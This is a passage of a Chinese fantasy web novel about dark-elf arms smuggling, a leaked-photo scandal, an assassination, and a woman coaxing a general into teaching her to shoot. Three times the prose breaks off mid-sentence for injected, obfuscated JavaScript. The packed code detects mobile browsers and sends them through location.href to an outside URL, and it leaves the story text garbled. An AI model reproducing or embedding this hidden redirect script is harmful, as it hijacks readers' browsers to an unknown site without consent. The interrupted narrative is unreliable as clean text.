两边察觉到谈话的敏感性,都沉默了一会儿。 “你们的验封员还没来?磨磨唧唧,我们可没空在这儿耗着。”为首的火枪手不耐烦地掸掉肩上落下的灰尘。 “快了吧。”暗精灵说着,把嘴里的烟吐到地上。 “她来了!”蹲在一起的暗精灵们回过头,看见艾莉大步走进来,纷纷站起身。人类也都抬头看过去。 “小废物们,和地面的客人攀谈什么呢?让我也旁听一下,回去好汇报给主管大人!说这场重要的茶话会宾主皆欢!” 艾莉声音厚重有力,铿锵有如大型金属在厂房内四处碰撞回荡。然而她的话语内容尖酸刻薄,令听者心脏一缩。 暗精灵们似乎忌惮她的地位,都低下头。 唯有其中一个,与她同样佩戴着三星徽章的、褐发皴皮的矮小中年男性,冷不丁一笑,反讽回去:“艾莉,你不要仗着主管一时宠爱,就这样横行跋扈!以后的事没人能说清!别忘了你弟弟泽诺,那个号称天才的机械师是什么下场!” “不管怎样,人家曾经也‘天才’过,不像某些阴暗虫子,只能嫉妒得满嘴喷粪浆。”艾莉毫不退让地反击回去,“法布斯,说的就是你。你不长脑子吗?眼下是什么场合?再聒噪,我就把你那蠕虫舌头割下来,在锈铁上拖一遍,再丢到黑湖崖喂母蜘蛛!” 她随即向人类火枪手点点头:“抱歉,让诸位看笑话了。我们也不浪费时间,这就开始交接手续吧!我这就做最后验视,解除封印魔纹。” 说着,艾莉昂首挺胸地从众人面前穿过,站在堆积成山的铁皮箱前。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14952658|158378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 法布斯被骂得浑身发抖。他缩在空荡的软甲中,一双硕大黑亮的眼睛陷在褶皱皮里、藏在灯光暗处,淬了毒汁般阴狠地盯着她。 ———————— 同一化工厂园区,距离主厂房不远的废弃办公楼里,弥漫着灰尘的空气忽然产生一道水波纹状扭曲。 拉斐尔手里拿了两个冰淇淋,位移闪现。 他被灰尘呛得连打十个响亮喷嚏,而后吸溜着鼻子走到窗台边,长腿一抬就坐上去。虽然天气很冷,雨雪扑撞,但他还是能够津津有味地吃,连同迎面送来的寒风一起吞嚼入腹。 吃完一个,剩下的冰淇淋沾了水,开始慢慢化了。他左等右等,加茜娅还不来,便只好很落寞地把另一个也吃掉。 这时候,身后终于有了动静。他转过头,看见加茜娅带着几个机械搬运工,哐哐当当地,将一堆铁皮箱子抬了进来。 她半张脸藏在黑兜帽下,嘴唇和皮肤一样白得发青。融化的雪水顺着她帖服在脸颊上的弯曲发丝,滴滴滑落。 明明长得挺好看,可每次见他,都打扮得像个老巫婆——拉斐尔在心里默默吐槽。 正乱糟糟地想着,这巫婆摘了帽子,走到他跟前,伸出凉手拍拍他的脸:“发什么呆?” 拉斐尔回过神,下意识地抹了把嘴角。“你怎么才来!”他抱怨道。 “我去检查泽诺他们的位置了。”加茜娅早就看到他脸上有奶油和糖粉:“你又在吃什么?这么重要的事,等会儿别出岔子。” “我知道!一会儿等艾莉把军火传送过来,我就第二个接力,传到泽诺那里。”拉斐尔跳下窗台,“放心,我的静物位移术,保证连二级魔纹波动都不到。最慢天亮的时候,一切痕迹都会消失!就是艾莉那边麻烦点,毕竟她得瞒着那么多人手,触碰所有箱子。” 他懒洋洋地说完话,然后发现,自己最近格外喜欢把胳膊肘支在加茜娅肩膀上。高度正好,十分舒适。他忍不住在心里吹了声口哨。 加茜娅并不在意,接着说:“没事,我这边会配合她。蒙格马利多给了我几个人,一会儿假装醉鬼在外围闹事;一旦那边暗河守卫的光照移动了,内应就得行动,你也要时刻准备好。” “箱子数量没错吧?”拉斐尔问,“静物位移术实施条件苛刻,需要短距离内占据同等空间的物品、同时进行替换。” “只要你们那位内应的情报没错,我的准备就不会有错。” “艾莉是泽诺的姐姐,萝拉的姑姑,我们很放心她。当初要不是为了给萝拉筹学费和医疗费,她肯定会跟随泽诺一起退出暗河的!”拉斐尔絮絮叨叨地说着,带上黑皮橡胶手套。 他走到箱子堆前,随意打开其中一个,手探进去摸了摸,惊叹:“不得不说,你的人类相好有点用处,不仅打探消息灵通,还能把这些魔导军火伪造得这么逼真。乍一看,差点能把老子都骗过去!” “嘘!啰嗦。”加茜娅一巴掌轻轻打在他背上,“你听。那边已经吵起来了……守卫的灯光开始移动了。暗哨和狙击手,应该也暂时转向了。” 就在此时,厂房内的艾莉身处一片混乱枪响中,依旧不慌不忙地验视货物。 她抬起头,伸出两只手调整微型拍摄器的方位,并进一步加强固定。 然而,这略不自然的举动,恰好完完整整地,落入角落那双始终注视她的眼睛里。 16.Chapter 16. 破晓之刃 次日清晨,资源署。 米拉抱着文书走进升降梯,靠在金属墙壁上,面对加茜娅和公告栏,抬嘴就是一个悠长的呵欠。公告栏齿轮滚动,她惺忪的眼忽然张大。 “【快讯】今日凌晨,联邦监察院收到匿名举报函,内附多张魔导军火交易照片,据传牵涉蒙格马利家族成员与暗精灵“影子同盟”地下组织。若消息属实,则牵涉重大走私案,官方已启动调查…… 《中州经济报》记者称,该事件疑似暗精灵内部派系斗争,或有势力刻意栽赃嫁祸,试图通过匿名爆料引导调查方向……自暗精灵多起恐袭、非法交易案遭到曝光,联邦民众的恐惧与排斥日益加深;元老院与精灵议会内部正加快商榷相关法案的修订与完善。” 加茜娅不由冷笑,心中确定:“中州”系媒体,均属莫伯斯及背后政派喉舌。 米拉却扬起声叫道:“那可是臭名昭著的暗精灵!谁知道他们搞什么鬼……”她扑到告示栏前,要用手去按那滚动的纸张,似乎想看得更清楚些。 “米拉!”加茜娅赶紧拽住她。 “加茜娅!这下怎么办……他要有大麻烦了,走私魔导军火不是闹着玩的。”米拉转过身,话语里带着哭腔,“早知如此,当初就该劝说父亲,让他支持驱逐暗精灵的法案!那些脏老鼠不配拿中州居留证!” 这时,升降梯慢慢悬起、齿轮摩擦,布告栏继续“咔哒咔哒”地往上滚动: “【军部突发快讯】联邦少将阿纳鲁·蒙格马利主动引咎停职自查,并就其弟莫伯斯所受的相关指控发表公开道歉声明。” 加茜娅暗叹一声:以退为进,坐实罪名,聪明。她略作担忧地转向米拉:“这种时候,你还是离莫伯斯远些吧。” “你懂的,我……”米拉浑身僵硬,眼神飘忽不定,“怎么办……” 两人都沉默下来,盯着公告栏。加茜娅是怡然自得,她那堪比中央控制台的脑子正迅速吸入信息,像玩拼图一样嵌进合适的区域;米拉眼神飘忽,又看又不敢看,视线一触上去就被烫得乱转。 栏目很快切换到资源署内部消息,放出本季度一系列的新大陆外勤项目派遣名单:【西高地矿山项目组】……勘探分析评估专员:加茜娅。 同行者包括资源署各部职员、从军部和魔法监管局调遣的自卫队干将,以及数名参与项目投资的探险家协会代表。 与此同时,“因考虑此地元素暴走周期短,地区武装势力频繁活跃”,新代表卢克西斯的名字列在最后:元老院特派专员,以‘特别技术顾问’身份加入自卫队随行。 米拉勉强自己转移注意力:“西高地?离伊瑟尔州很近。我听说那地方超级危险!你要是不想去,我回头问问我父亲,看能不能帮你疏通关系,豁免一下。” 加茜娅丝毫不乱:“这种关键时候还是别轻举妄动了,最近到处都在查人呢,说是资源署内出了间谍。” “大惊小怪,那帮老头子就是这副德行。”米拉很快掠过这个话题,“这么说你一个月后就走啦?” “我会早点回来的,夏天之前,赶上你的生日。” 升降梯门打开,加茜娅抬起眼。派遣函,估计这会儿已经送到她桌子上了。 按常规讲,三日之后便进入项目集训期。那些潜入资源署的“数据泄露案”秘密调查组成员,也将很快与她展开较量。 —————————— 暗精灵地下城黑湖中的某座小岛上,一层防窥听魔纹结界悄然张开。 高大茂密的磷光蕈林中,紫黑色毒雾弥漫流淌,菌群剥落的荧光鳞片碎屑漂浮其中。在雾气最浓之处,隐藏着一个无形的次级折叠空间,由“暗河”组织数名长老的空间魔法共同搭建。 那是一个不见边际的纯黑之域,幽绿魔导灯稀疏点缀,能让暗精灵的眼睛舒适而长久地睁着。空间中央,依照地底审美仿造一处天然溶洞大厅,四周墙壁真实地布满潮湿苔藓,积水坑、岩石尖刺和藤蔓在洞穴阴影里若隐若现。 大厅里摆了一张不规则石质长桌,桌上除了蜘蛛宝石的雕塑外,便只放了两叠函件:一叠正是地面媒体报道的走私案照片,另一叠刚刚由莫伯斯手下通讯员传来,怒斥他们与他交易的是“假军火”。 长桌主位坐着组织内部的一名中层领导,也是负责此次军火交易的事务主管。相关成员依次安静落座,与邻座暗精灵互行手背相碰的问候。 在水滴声和风过岩隙的呜鸣声之中,坐在首位、浑身由黑布包裹而不见面容的主管大人站起身,分别将两叠照片传阅下去。随后,他敲了下桌子,从深不见底的黑帽子底下传出低沉沙哑的声音: “诸位,我想你们都已知道,地上世界出现的那些照片,引起了联邦监察院的注意……暗河的名字,赫然出现在报端;驱逐暗精灵的法案,正被各行各界的地上族群重新提起。” “另外,更令我诧异的是,此前多次合作的人类盟友,蒙格马利家族的那位议员,竟诬陷我们送去了假军火!还声称我们中间出了内鬼,因此爆出照片!” 他拍了下桌子,攥紧拳头,指节泛白:“为这两件事,首领差点革我的职!” 座下立刻有暗精灵站起,叫嚷道:“我早说过人类不可信!这整个事件就是他们策划的!既然如此,何不直接翻脸?让他们瞧瞧地下河的暗涛有多可怕!” 他对面一名成员随之起立,发出怒吼:“暗河的存在就是要为地下族群谋求权利!你这么做只会加剧矛盾,让我们遭受灭顶之灾!” 两位黑袍子一言不发,即刻动手,就在这洞穴大厅里互放出惊骇如雷鸣的杀戮魔法。其余成员们安静旁观,见其中一名应声倒地,旁边坐着的便将他拖出大厅。 他们也忘记了,这是方才哪一派的成员,不过这并不重要;互相之间对决而死几个同伴,是再正常不过的事。 就在所有成员议论纷纷时,靠末的座位忽然站起个黑影。那是身材瘦小,而满面褶皱的暗精灵法布斯。 他自告奋勇地举起手中照片:“当前最紧急之事,乃是查清组织里的内鬼与背后指使者!属下愿负责抓捕照片爆料的真凶!” 座首主管正要开口,旁边坐着的艾莉忽然拉住他的手,冷笑数声:“既有勇士站出来,愿担当重任,何不连军火真伪一块儿查验?这两件事联系紧密、万万不可分开……”她眼睛一转,“况且,前一阵的魔导机械实验室爆炸案,不全靠法布斯查了个‘水落石出’么?想必他专擅此事,此次立功后可升任监察专员!” 这主管本是个靠见机行事而上位的墙头草,耳根最软,闻此妙计,即刻允准:“就按艾莉说的做!法布斯,你要是都做成了,我给你申请升任四星职务。” 法布斯正欲辩解,眼见着主管大人被艾莉捧着头转过去,当着在场所有暗精灵的面,火热而凶狠地亲了个响嘴。 一些成员,包括法布斯在内,俱抖了几抖。也有些好事者,饶有兴趣地拍手叫好,简直恨不能看他俩上桌表演。 他两眼一翻,近乎绝望地接受了自己“临危受任”而不止一任的倒霉事实。 调查照片还好说,那嫌犯早已被他瞧见,只要找出任何蛛丝马迹,他甚至可以凭借避嫌条例,越级举报给更上一层的领导,绕开这不晓事理的风流主管。 可“假军火”这事…… 当夜,法布斯心惊肉跳地接受邀请,前往莫伯斯私产仓库查探、确定“军火为假”的事实后,复又更失魂落魄走进附近旅馆,琢磨该如何雕饰密函语言。 若坦诚地回报总部,说军火的确系假,那真的那份哪去了?当场所有涉嫌掉包的成员,包括如今与莫伯斯势力进一步接触、“疑似被策反后帮人类说谎”的他——他是头一个逃不掉怀疑和背锅的!首领的怒火会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14974242|158378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烧得他死无对证。 法布斯坐在简陋小旅馆二楼窗口的桌边,就这么七弯八扭地猜来想去,在太阳即将升起之时,终于心一横,拍案决定:回报军火为真! 剩下的,让那群人类自己去辩白吧!再往后要怎么打起来,可不关他的事。 就在法布斯用指间血写完传讯密函、以族群独有秘术将其烧毁传送走后,他忽然打了个寒战。 ——暗精灵总是对自己同族的位移魔纹波动十分敏感。 一道悠闲调侃的青年男音在他背后响起:“总是这么自私的话,每一步都会被猜中啊。” 电光火石间,冰凉的匕首横在他脖颈上,一刀划过,熟练灵巧。 法布斯转过头,视线刚捕捉到一双戏谑的银色眼眸,便全部黑了下去…… 他侧倒在地上,脑袋以某种诡异的姿态扭曲到一边,大量黑红的血液从折断处向上喷涌而出,溅得满墙满地都是。 拉斐尔迅速地闪开身,但仍不能避免地沾了点血迹。 “真是的,我还以为你这干瘪的老东西,水分黏稠稀少呢。”他低声抱怨着,一手伸进衣服口袋里。 杀戮结束后,照例要吃点甜的,舒缓心情。 拉斐尔半蹲在法布斯尸首旁,剥了颗草莓味硬糖放进嘴里,一边吧唧吧唧地咀嚼,一边把匕身的血在他衣服上随意地擦了擦。 他起身进厕所洗了把脸,转了转脖子,活动着肩颈走出来,去打开门窗。 桌边有一台大型内部电话机,外露的零件错综复杂。这玩意他总研究不明白,转着手柄乱播了几圈号码,听见“滴——”的长鸣声后,满意地点点头,施放位移术离开。 天亮了,加茜娅也该起来了吧。拉斐尔愉快地想。 片刻后,他熟门熟路地摸进加茜娅房间。今天的加茜娅比较漂亮,穿了一身浅粉色长裙,还没套上出门的外衣,两截雪白的小臂撞在他眼底。 “加茜娅,我干完活了!”拉斐尔瞬移过去,小声欢呼。 他张开双手,身上传出浓重的血腥味,但并不见血迹:“没有任何奖励吗?我平时可是很少做这种事的。” 加茜娅正坐在床边,斜倚着枕头看今日报纸。她被擅闯民宅的拉斐尔吓了一跳,但很快镇定下来,放下报纸走过去,十分温和地搂住他的腰。 她对于安抚不知善恶的野兽很有招数,舒眉含笑,毫无惧意。 拉斐尔还一动不动地盯着她,于是她踮起脚尖,在他的唇上又轻又柔软地一吻。一吻即离。鬓角发香顺着她鼻尖的气息侵袭而来,触碰他的神经。 他忽然扶住她的头,动作快而猛地又压下去——只是这力道没把控好,直接将她撞得痛呼一声。 加茜娅捂住泛出血珠的嘴,用力将他推开,随后垂下眼,收敛情绪。 拉斐尔仿佛没什么痛觉,也混然不知自己的莽撞。他舔了舔唇,然后愣住:“加茜娅,你的血……没有味道?” 可她却不理他了,转身就走,提着喷壶去给墙角的盆栽们浇水。拉斐尔眯着眼看过去,意外发现这次多了一株闪闪发光的花,在煤油灯光黯淡的室内可充抵最亮光源,刺得他难受。 他双手插兜地跟着她,在她身边挡过来,绕过去。 “加茜娅,你亲过多少人?”拉斐尔无所顾忌地问。他脸上的笑渐渐放下来,变得没有表情。 她瞥他一眼,半真半假地逗他:“数不清。” “……”拉斐尔十分难得地闭上嘴,过一会又说,“加茜娅,给我讲讲你前男友。” “问这个干嘛?” “没什么。”拉斐尔向后一跳,坐到窗台上,重新摸了颗糖出来;这回不知是什么口味,直接扯开包装扔进嘴里。 他嘎嘣嚼着糖,两手撑在窗框上,一边翘起腿无所谓地抖动,一边歪头看加茜娅,笑道:“想和他交个朋友。” 17.Chapter 17. 谁有意 加茜娅手中动作一顿:“很可惜……他已经死了。” “死了?”拉斐尔扬起眉毛,正要吹口哨,然而嘴不空闲,只得作罢。他紧接着又嗤笑一声:“那算了,老子比他多活三百年。” “是啊。”加茜娅附和地点点头。 拉斐尔想到人类的寿命,突然不说话,直愣愣地盯着她看。他嘴里的嚼糖声像在揉塑料纸,没完没了,惹得她有点烦。 “是人类吗?”他冷不丁又问。 “半兽人。” “好吧,就算你们在一起,他也比你死得快。你早晚都得忘记他。”拉斐尔仿佛一下释怀了,“但是我会记着你!” 加茜娅对此聊天杀手的本事早已习惯,也不在意,自顾自地坐到梳妆台前,调整镜子。 拉斐尔被自己感动了片刻,却并未得到加茜娅的共鸣。他换了个舒服的姿势,抱着双手背靠窗框,一条腿蹬在对面窗框上,另一条垂下来晃晃荡荡。 还是看着加茜娅。不说话,就光看。 对于暗精灵审美而言,她好像太瘦了些,的确同白精灵相像,只是没他们高大。她那头棕褐色的长发披下来,落至腰际,丰润舒卷,在清晨的阳光里溜着金边,光泽流动,十分的惑人。 拉斐尔很想上去抓一把,但不知怎么,愣是没敢。 此时的加茜娅刚打开首饰盒,挑挑拣拣。 他看到这一幕,终于想起自己有另一桩任务:“泽诺说,他把你的戒指修好了,随时可以去取。本来说要答谢你,额外请你喝酒,还说想学人类的礼数写个请帖,问你的名字怎么写——老子怎么可能会?” 加茜娅有点无语:“该把你们都送回学校,重造一下。” “从来没去过!”拉斐尔哼了声,“那是你们贵族小男女的地盘。” 加茜娅安静下来。她知道,即便在中州,受教育也是底层族裔难以触及的资源。更不必说备受排挤的暗精灵:他们内部只有贵族血统才有资格进入地下城学校,否则就得花数十倍于其它族裔的学费,辗转来到地面世界学习。 就算如此,那些孩子也只会在饱受欺凌的污名化环境里长大。而暗精灵有自己的信仰和骄傲,绝大部分低不下这个头,宁可去当工匠学徒或是从商。 她想起那名据说总躺在病床上、不得自由的暗精灵女孩,心里有些同病相怜的意味,于是说:“我最近忙,请客就不必了,你帮我取一下戒指,顺便告诉他们:加茜娅只想多交朋友,今后有机会互相关照。倒是那个叫萝拉的孩子,要是识字的话……你可以把我的书都送给她。” 反正,今后也用不上了。加茜娅对着镜子眨眨眼睛,莫名地有些难过。 拉斐尔垂着头,摆弄精致的碎花窗帘。好半天,才开口说话,也只是说了句“我回去问一下”,就立刻发动了位移术,消失无踪,仅剩窗帘仍在摇摆。 这名游走于阴影中的混血精灵,兴高采烈地来,又十分沮丧地走。他来去自如的功夫没让加茜娅感叹别的,惊吓倒是受了不少,导致她中午在资源署午休的时候做了个噩梦: 梦见自己被暗精灵刺客瞬移进入房间,五花大绑后献给了吃人的卓尔大王。 这样可不行!她满头大汗地想,自己该有一把枪。 可是,□□渠道管控极严,而且需要枪证,需要担保人。 ——加茜娅把主意又打到那位蒙格马利少将头上。 此君最近的日子极为潇洒,自打在媒体上公开亮相、引咎停职后,便暂时脱手军部事务,顺理成章地去处理家族公关,将部分对莫伯斯失望的派系转化为自己的支持力量。 加茜娅去找他的时候正值傍晚。数名黑衣保镖簇拥着两位穿正装的白发议员,从中央公园大街旁的保险公司高楼里走出来。 詹姆斯等他们的车离开视线后,才打开车门,送她上去。 宽大的落地窗前,阿纳鲁背对着她负手站立,遥遥俯瞰车水马龙、五光十色的中州最繁华之地,万千思绪还沉浸在与议员们的谈话里。 军火案已昭示莫伯斯颓势。要尽快争取元老院与军部等联邦高层更多派系的认可。毕竟蒙格马利家族影响力太过庞大,没有人会支持敌对继承者上位。 在此基础上,若能获得遗嘱公证和家族理事会多数成员点头,管束分散的旁支资源,即可巩固地位,恢复蒙格马利氏巅峰之态;届时亿万家产欣然在望,一切军政人脉收归己有,一切高层职位唾手可得,与核心族裔代表及执政官派系平起平坐…… 甚至,有望进军执政层。 冷风透过微开的露台门侵入室内,阿纳鲁神清气爽地深吸一口气,仰起下巴轻转脖颈,舒展筋骨,手中松动正装袖扣,往上拢起,露出半截手腕。 加茜娅来了,他就越发觉得踌躇满志、意气风发。 她进门后不说话,或许还在生上次的气——但他目前心情极佳,看一切事物都很顺眼,就算加茜娅骂人都觉得可爱,更不必提那些小情小意的口角之争。 “加茜娅,看看桌上是什么。”他转过身去,带了点笑意。 她顺着一瞧,看到办公桌上放着两张魔纹合金纸。原来是上次经他介绍的对接官员,送来了中州资产经营执照。 加茜娅走过去,轻轻触碰纸上凸起的纹路:除防伪魔纹涂层和联邦商管局钢印外,还有蒙格马利家族纹章,以及一家政府合作银行公章作担保方。她垂眼不语,思考这样的技术该如何仿制,然后伪造执照送去伊瑟尔州。 就在前两天,她收到兽人雇佣兵卡鲁克·铁牙传来的加密电报,他们已联络上伊瑟尔州商会,并进行了环境勘察。加茜娅在大量繁杂信息中获取了自己真实想要的,边境岗哨情况。 她随即意识到,通过岗哨,需要对应的军部公章文件。遂抬起头,正好撞进阿纳鲁那双含着笑意的蓝色眼睛里。不知怎么,她下意识地闪躲了一瞬。 他敏锐捕捉到她的回避,忽然感到满腔沸腾的热血凉了大半。 阿纳鲁想:自己送过这个女人很多东西,却仍觉得不够。看来看去,她似乎只钟意于钱;真那样还好办,可她又仿佛从未满意。而他,竟也始终心怀一点隐秘的郁闷,郁闷自己不管怎么做,都难得认可。 加茜娅和他所接触过的任何人都不一样,打不得骂不得,更吓不得。恩威并施无用,软硬手段不吃。再□□让地放纵,她反倒越发难哄起来。 阿纳鲁放轻了呼吸,那种曾在加茜娅裙角拂过他时出现的,无形的框架又贴住了手脚,令他近乎拘谨,甚至于痛苦。 “你帮了我这样重要的事,我还得感谢你。”他低头看着她,看她脸上不露表情,喜怒难知,“加茜娅……你还有什么想要的?” 加茜娅避开他的视线:“您别开玩笑了,我已经受了如此多的关照,哪里还敢奢求更多?现在这样就很满足。” “加茜娅。”阿纳鲁望着她,觉得自己有点说不下去。 她的脸离他起伏的胸膛很近,一阵淡淡的烟草气味侵袭而来。加茜娅忽然发现,有时候不需要给他好脸色,反倒效果更佳,更能够操纵他的情绪。 只不过这种手段要很小心,微妙地徘徊在好坏态度之间。她已经摸清他的性子:实打实地跟他赌气,反倒胜过浮夸刻意的讨好。 真是有点……古板。对待感情,宁可看残忍的现实,也不接受美满的假象。 “反正你现在忙得很!要不是这种公事,你也想不到见我。”她咬着下唇,声音极低。 ——加茜娅在现实和假象之间,选择以适合他的方式,伪造他想要的现实。 阿纳鲁明显很吃这一套,立刻说:“以后我经常去找你。你有什么需要的,直接在资源署里给我打电话,不用找詹姆斯。” “要是你正在忙呢?” 他被加茜娅噎了一下,思忖数秒,慢慢道:“加茜娅,我分得清轻重缓急 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14995518|158378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “意思就是只有我危险的时候才重要呗?”她不等他反应,继续开火,“最近那么多不太平的新闻,上次还差点跟你一起被刺杀。就算我真遇到危险,一时之间你也没办法。” 阿纳鲁沉默下来,真的开始思考这件事。 加茜娅觉得自己可能有什么未曾发掘的恶趣味,总之,她也有点喜欢看阿纳鲁手足无措又很纠结的样子。她见他重视了她的安危,便趁机提议: “要不,你给我,弄把枪?”她试探地问。 “加茜娅,你不会用枪,这对你来说太危险了,还不如我调几个人……” “你教我嘛!”加茜娅赶紧打断,并且牵起了他的手,感觉他僵了一瞬,于是又摇他几下,捏起嗓子,“好不好嘛,我想跟你学,想要你亲自教我!你用枪一定很厉害吧?”她仰起头,崇拜似的望着他。 “……好。”他的脑子也僵住了。 阿纳鲁于是连夜就带她去靶场。 ———————————— 中州东郊,兽人开的私家靶场。此地明面上是合法注册的战术训练馆,私下也接受军政家族、□□势力和雇佣兵的特殊训练需求。 一进门,是个空间不大的接待室。地面铺着降噪的红色魔纹绒毯,墙上挂满不同型号枪械的展示架,以及各类魔兽战利品和赛事奖章,挤挤挨挨地堆叠在一起。 老板是条宽大的狼人汉子,赤着肌肉虬结而遍布疤痕的上半身,大冷天里只单穿一条战术裤。他仿佛与阿纳鲁相熟,抱着双手向后靠在玻璃陈列柜上,点头打过招呼,目光往加茜娅这儿一转,从凶神恶煞转变为一种暧昧的调侃: “噢!长官今天还带了贵客来!” 阿纳鲁闻言,神色未变,只斜扫他一眼:“你管好你的生意。”他带着加茜娅走到展示架和陈列柜前,直接切入正题,“先拿两把□□,去标准靶道区。” 老板随手从柜子底下捞起一只金属箱,“砰”地甩到台面上,打开密码锁、抬起箱盖,露出内部排列整齐的数支□□:每一支都嵌在黑色的防震泡棉中,有金属和胡桃木等不同枪托,表面皆擦拭得无比光亮。 “来吧,少将大人,美丽的小姐。”他伸出毛茸茸的手,沿箱子横着一比划,“这里是最适合新手的制式款,整个中州获得许可的型号都齐全了。” 加茜娅看不懂这些型号的区别,于是又扯扯阿纳鲁,命令他讲解。 老板自从她这动作开始,眼神就诡异起来;待看到阿纳鲁真的一把一把拿起来耐心分析、声音低而温和,还时不时看她一眼,他就真的有些起鸡皮疙瘩了。 “好了,小姐,您最终决定选哪一把呢?”老板急急地问。 加茜娅已将阿纳鲁所说的枪械知识记熟,从枪管长度、握柄角度到弹匣的设计、重量与后坐力,心中都有数。 她勾唇一笑,在狼人汉子看好戏的目光里,伸出手,划过了最靠边的那把单动左轮,又绕过造型精致复杂的蒸汽手枪,落在老旧的M7□□上。这一把手感稳重,重心均衡,枪管长度适中,无论是重量还是稳定性都最适合新手。 阿纳鲁看完她挑枪的过程,眼底闪过赞许之意。他微一颔首:“看来你全都记住了。”加茜娅闻声抬头,与他相视而笑。 狼人汉子被这二人连续不断地肉麻攻击,恨不能两脚一蹬原地一蹿,将自己发射离开现场。他一言不发地收好箱子,速速带路去靶道区。 等到了那儿,他就滚蛋,让阿纳鲁自己教她退膛换弹吧!至于瞄准教学?那真是想一下都要自戳双目、连滚带爬的程度。 加茜娅挽着阿纳鲁的手,简直感到真的有些柔情蜜意起来了。从方才在办公室一席谈话开始,她就放开了许多,一路上与阿纳鲁说说笑笑,是前所未有的亲近活泼。 不知是不是跟他混熟了,她忽然开玩笑似的又想逗他,垂下的手腕一抬,枪口就这么半远不远地指着阿纳鲁。 18.Chapter 18. 漩涡 “角度不对,枪口太高了。”阿纳鲁低头看一眼,叹了口气,“加茜娅,不要单手拿枪,你的腕力握不住冲劲。等会儿角度一偏,打不中目标,枪也会飞出去。” 加茜娅适时放下枪,心想:头一次见人不怕死。她问:“你不怕吗?” “没有好处的事,你不会做。而且,你保险栓没拉。” 说是这么说,但他还是握起加茜娅的手,把她扣着扳机的食指掰直,变为扶在弯柄上:“平时不管枪的状态如何,这样拿,不容易走火;一般情况下,别拿它对着人。” 加茜娅点点头,看阿纳鲁教得认真,又忍不住打岔:“我看书上说,人体内有一种激素,在紧张恐惧的时候,很容易爱上对方!” “所以你就用枪对着我?”阿纳鲁笑了,“照这么说,那爱上我的家伙可以铺满整个中州了。” “铺?”加茜娅嘴角一抽,“躺着的那种?” “嗯。”他笑意加深,“你不怕吗?” 加茜娅未能料到如此不解风情的对话走向,半嗔地瞟他一眼:“怕呀!怕你整天对我摆脸色,好大的官威,吓死人了!” 阿纳鲁无言以对。他明明只对她冷脸过一次,此后就时不时地挨顿阴阳。 或许心里还残存着些微妙的愧疚,因此,他在教她用枪的时候格外认真。 “弹药筒通常在两个地方,弹匣里,枪膛里。”阿纳鲁说着,按下枪把里的弹匣,又将手里这把枪的尾部“咔嚓”往后一拉,露出中空的枪膛。随后,他又从机械原理、装填弹药到上膛,一步一步讲解教学。 加茜娅看完全程,立刻将自己手里的那把也操作一遍,流畅而迅速,无一丝多余动作。 他的笑容中带了更多欣赏:“很好!我刚拿枪的时候,也是一遍就会。” 随后,两人又按着流程练习瞄靶射击。阿纳鲁只在加茜娅背后握着她的手教了一次,且并不贴靠着她,有意无意地保持点距离。 “放松点,枪又不咬你。”他在旁边看了一会儿,时不时地上前指点动作。等加茜娅能够单独练习了,他就自己到旁边靶道射击。 加茜娅打完手里的几发子弹,便跑过去围观。 这位少将在射击时严肃认真,姿态挺拔,枪枪正中靶心。每中一次,加茜娅就在旁边欢呼一声,毫不吝惜地献上大量谄媚之词,令他脸热之余,感到手里的枪确实开始咬人。 阿纳鲁觉得,自己被她夸得有点飘了。 他随即亲自示范,教了她更多从不外传的技巧。直到半夜里离开靶场,回到车中,他还觉得脑子里昏昏然,如在云端。 “明天早上,我过来接你,去七州博览会。正好,这次也有军械展,你看看有没有喜欢的枪型。”阿纳鲁说。 詹姆斯此前就已被支走,由这位少将本人亲自开车,因此加茜娅说起话来就放开了拘束,格外轻松大胆。 两人在车里又嘀嘀咕咕地讨论了一下第二天的安排,从游览顺序,一直说到用餐选择,休息的时候做点什么,买点什么回来送给同僚。 背后的车“滴滴滴”地按响喇叭。 阿纳鲁回过神,心里不禁嘲笑自己这许久未有的紧张兴奋:简直如同出游前一天的小孩心态! ———————— 另一边,在资源署旁的高楼里,新任堪州代表刚被窗外道路上的汽笛声吵醒,从床上一坐而起。 ——卢克西斯初来中州的生活,可谓水土不服。 他年纪不大,正值精力充沛的时期;然而自从到了中州,每日都被蒸汽管道等各种噪音震得精神颓靡,很快便在年轻的面庞上安好了两个黑眼圈。 日常施放魔法时,他总习惯性地制造出大型魔纹波动。因为中州严格的魔法等级管控,遂每次都被监管局上门罚款。 没过几天,他虽也学会控制力量,却懒得在生活琐事使用。那些整天蹲守在他门外的监察员发觉此憾事,皆怏怏地叹惋离开。 